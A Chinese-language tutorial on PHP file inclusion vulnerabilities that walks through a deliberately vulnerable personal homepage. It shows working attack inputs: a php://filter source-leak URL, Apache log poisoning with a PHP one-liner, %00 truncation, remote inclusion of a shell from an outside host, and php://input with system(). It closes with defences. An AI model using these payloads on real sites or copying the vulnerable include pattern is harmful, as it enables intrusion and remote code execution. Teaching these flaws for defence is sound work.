文件包含漏洞(以PHP语言为例)
简介----什么是文件包含漏洞
文件包含漏洞(File Inclusion),是指程序在使用包含文件的函数时,用户可以控制文件包含的参数,而且程序未对传入的值进行严格审查,导致包含了一些具有危害性的脚本代码的漏洞。
在实际开发过程中,很多时候会用到一些重复的代码,这时开发人员会将重复的代码写成函数,放到一个单独的文件里(底层代码),然后在别的文件中去包含底层代码文件,以使用这些函数。这时如果包含函数的参数被用户控制,就会造成非常大的安全隐患。
本文将以PHP语言为例,介绍该漏洞的原理、利用方法和防御方法。
预备知识
PHP实现文件包含
在PHP语言中,可以轻松地使用以下四个函数进行文件包含:
名称说明include()包含一个文件,如错误则抛出警告include_once()包含一个文件仅一次,和上面类似require()包含一个文件,如错误则报错并停止脚本require_once()包含一个文件仅一次,和上面类似
<?phpinclude('config.php');// More code.?>
注:无论是什么类型的文件,只要其中含有合法PHP代码,PHP就可以包含并执行;如果没有,就会以纯文本形式显示文件中的内容。
PHP伪协议
在PHP中,有很多URL格式的封装伪协议:
协议解释php://访问PHP I/O流,非常危险ssh2://Secure Shell 2,非常危险data://访问数据流,非常危险file://读取本地文件,较为危险zlib://访问压缩流,较为危险phar://PHP归档,较为危险http://访问HTTP(S)网址ftp://访问FTP服务
使用php://input可以通过POST方法操作PHP输入流,导致任意命令执行。
使用php://filter可以读取PHP文件,造成源码泄露。
http://127.0.0.1/?jumpTo=php://filter/read=convert.base64-encode/resource=xxx.php
Apache日志文件
Apache服务器中有两种日志:
- access.log
- error.log
access.log的作用记录网站的访问信息,格式如下:
表头名解释客户端IP访问者的IP地址访问者的EMail此项年代久远,早已弃用,用
-
替代访问者的身份认证一般用
-
替代访问时间记录服务器时间请求记录记录请求方法、URL和协议HTTP状态码记录返回的状态码字节数记录向客户端发送的字节数
error.log记录错误的访问信息。
本地文件包含漏洞
本地文件包含漏洞(LFI,Local File Include),是指开发人员未对用户传入的文件包含参数进行严格审查,导致程序包含了处于本地的恶意脚本的漏洞。(如PHP一句话)
下面通过举例的方式来解释该漏洞:
一天,王小美同学心血来潮,写了一个较为简陋的个人主页,网站的目录结构如下(假设已经被人挂上了一句话木马),
index.php
通过文件包含的方式进行网页跳转:
网站部分源代码如下:
<?php$link=$_GET['jumpTo'];include($link);?>......<body>......<p>Name: 甘雨</p><br><p>Age:3000+</p><br><p>我是女生</p><br><a href="./index.php?jumpTo=jobs.php">我的工作</a> <a href="./index.php?jumpTo=hobby.php">我的兴趣爱好</a></body>
此时一般访问者可以点击链接访问其它页面。但如果攻击者想要访问自己的一句话木马,只需要构造如下链接:
http://127.0.0.1/file_include/index.php?jumpTo=shell.jpg
由于王小美同学的粗心大意,她没有在后端控制
include()
函数的参数合法性,于是攻击者输入了一句话木马的地址,程序就包含了一句话木马。
Apache日志包含漏洞
事实上,王小美同学写的后端代码不仅有文件包含漏洞,还有目录穿越漏洞。如果在参数中加上
../
(表示回到上层目录),可以读取处于上层目录的文件。前面已经介绍过,Apache会自动记录请求信息,所以我们如果确定目标网站使用Apache,就可以使用BurpSuite发送如下请求,把PHP一句话写进
access.log
里:
GET /<?php phpinfo();?> HTTP/1.1
此时我们可以看到
access.log
中已经有了该条记录:
127.0.0.1 - - [14/Sep/2022:11:50:48 +0800] "GET /<?php phpinfo();?>" 400 2220
再配合目录穿越漏洞读取
access.log
,即可获得shell。
注:如果不知道日志文件的地址,可以把参数设置成一个不存在的文件名,比如
?jumpTo=114514
,这样网页会报错显示网站的绝对路径(如果没有屏蔽报错),使用了各种面板的会显示面板的错误信息,可以以此来判断日志路径。
截断攻击
复现环境:PHP < 5.3.4,magic_quotes_gpc=Off
经过之前的惨痛教训,王小美同学修改了网站源码,对传入的参数进行了处理:将其和
.php
字符串进行拼接,并关闭了报错,防止攻击者探查出网站的绝对路径。
<?phperror_reporting(E_ERROR);ini_set("display_errors","Off");if(isset($_GET['jumpTo'])){include($_GET['jumpTo'].".php");}else{// Do nothing. }?>......<body>......<p>Name: 甘雨</p><br><p>Age:3000+</p><br><p>我是女生</p><br><a href="./index.php?jumpTo=jobs">我的工作</a> <a href="./index.php?jumpTo=hobby">我的兴趣爱好</a></body>
但你以为这就结束了吗?
在ASCII字符集中,
%00
代表的是字符串的结束,也就是说,如果在一串字符的中间插入
%00
,那么后面的字符串会被丢弃。如果把参数值改为
shell.jpg%00
,那么之后拼接的
.php
将被
include
方法所丢弃。这样就能成功访问一句话木马。
远程文件包含漏洞
远程文件包含漏洞(RFI,Remote File Include),是指开发人员未限制包含的文件对象,加上PHP的不合理配置,导致程序包含了其它域(网站)中的危险脚本的漏洞。其本质是使用PHP伪协议进行包含。
复现环境:allow_url_include=On,allow_url_fopen=On
无限制远程文件包含漏洞的复现比较简单。只需要在参数之后加上危险脚本的URL即可。
比如:
http://127.0.0.1/file_include/index.php?jumpTo=http://www.xxx.com/shell.php
有限制远程文件包含截断方法
- 使用
?
绕过,问号之后的字符串会被当做查询参数丢弃。 - 使用
%20
绕过。
使用伪协议控制PHP输入流
复现环境:allow_url_include=On
前面已经介绍过,使用
php://input
可以控制PHP的输入流。假设主页代码为这样:
<?php$link=$_GET['jumpTo'];include($link);?>
此时我们可以通过BurpSuite将参数改为
php://input
,控制了PHP输入流:
GET /file_include/index.php?jumpTo=php://input HTTP/1.1
Host: 127.0.0.1
......
Sec-Fetch-User: ?1
<?php system("ipconfig/all"); ?>
此时我们已经把显示主机IP地址信息的命令“输入”到了PHP中。
小结
- PHP文件包含漏洞是开发人员未严格限制包含参数而产生的漏洞。
- 该漏洞分为本地文件包含漏洞和远程文件包含漏洞。
- 该漏洞有可能导致目录穿越,读取系统关键数据。(如Apache日志等)
- 远程文件包含漏洞本质上使用了PHP伪协议,使用
php://input
会产生更大的危害。 - 文件包含漏洞常用于配合文件上传漏洞。具体看本人的另一篇文章:Upload-Labs靶场 1-21全通关教程。(重点在Pass14到Pass17)
如何防御?
1.调整php.ini中的不合理配置
本文中所介绍的漏洞,有相当一部分是由于PHP配置文件中的不合理配置导致被利用。下面是推荐的配置项:
- magic_quotes_gpc=On,将参数中的异常字符进行转义。
- allow_url_include=Off,禁止将URL作为文件打开处理。
- allow_url_fopen=Off,禁止
include()
和require()
打开URL作为文件处理。
2.过滤异常字符
检查参数,如果参数中含有
%
,
#
,
;
等不需要的字符,将其去掉或者拒绝请求。
3.更改Apache日志路径
具体可以参考其他大佬的文章,这里不过多阐述。
apache日志路径设置问题(windows系统下)
4.写死包含的路径或文件名(最根本)
造成文件包含漏洞的原因99%都是包含的文件名由用户控制,我们只需要将参数的控制权拿回自己手里就可以规避这99%的风险。具体代码如下:
<?phpheader("Content-type:text/html;charset=utf-8");error_reporting(E_ERROR);ini_set("display_errors","Off");$link=$_GET['jumpTo'];if(isset($link)){switch($link){case'job':include('./jobs.php');break;case'hobby':include('./hobby.php');break;default:die("风雪的缩影,如琉璃般飘落......");break;}}else{// Do nothing. }?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>王小美の主页</title></head><body><h1 style="text-align: center;">个人主页</h1><br><img src="./img/ganyu.png"><br><p>Name: 甘雨</p><br><p>Age:3000+</p><br><p>我是女生</p><br><a href="./index.php?jumpTo=job">我的工作</a> <a href="./index.php?jumpTo=hobby">我的兴趣爱好</a></body></html>
版权归原作者 icewolf00 所有, 如有侵权,请联系我们删除。